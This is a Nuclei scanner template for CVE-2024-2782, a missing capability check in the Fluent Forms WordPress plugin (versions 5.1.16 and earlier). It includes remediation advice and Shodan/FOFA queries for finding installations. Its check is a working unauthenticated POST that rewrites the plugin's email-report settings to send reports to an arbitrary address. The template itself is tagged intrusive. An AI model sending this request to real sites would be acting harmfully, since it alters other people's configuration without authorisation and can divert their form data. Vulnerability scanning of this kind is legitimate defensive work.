id: CVE-2024-2782

info:
  name: WordPress FluentForms <= 5.1.16 - Broken Access Control
  author: riteshs4hu
  severity: high
  description: |
    The Contact Form Plugin by Fluent Forms for Quiz, Survey, and Drag & Drop WP Form Builder plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the /wp-json/fluentform/v1/global-settings REST API endpoint in all versions up to, and including, 5.1.16. This makes it possible for unauthenticated attackers to modify all of the plugin's settings.
  impact: |
    Unauthenticated attackers can modify all Fluent Forms plugin settings including email configurations and other sensitive parameters.
  remediation: |
    Update Contact Form Plugin by Fluent Forms to version 5.1.17 or later.
  reference:
    - https://github.com/whale93/CVE-2024-2782-PoC
    - https://wpscan.com/vulnerability/075faf77-2787-4da7-bbfd-ea3c14993cc6/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-2782
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/0814e7b3-404a-4db5-b564-46c9086ec048?source=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-2782
    cwe-id: CWE-862
    epss-score: 0.0123
    epss-percentile: 0.65007
    cpe: cpe:2.3:a:fluentforms:contact_form:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fluentforms
    product: contact_form
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/fluentform/"
    fofa-query: body="/wp-content/plugins/fluentform/"
    publicwww-query: "/wp-content/plugins/fluentform/"
  tags: cve,cve2024,wordpress,wp-plugin,wp,fluentform,wpscan,intrusive,vkev,vuln

variables:
  email: "{{randstr}}@{{rand_base(5)}}.com"

http:
  - raw:
      - |
        POST /wp-json/fluentform/v1/global-settings HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "key": "emailSummarySettings",
          "email_report": {
            "status": "yes",
            "send_to_type": "custom",
            "custom_recipients": "{{email}}",
            "sending_day": "Mon"
          }
        }

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "true")'
          - 'len(body)==4'
          - 'contains(content_type, "application/json")'
          - "status_code == 200"
        condition: and
# digest: 4b0a00483046022100fa02502ba7d2fc5777fdf115b287719db6bfebbab69db6997d2b27f501d3b2f9022100d1eacc893830094ce92c68da5210b48602f340272c34f9d265c642b4306cdcde:922c64590222798bb761d5b6d8e72950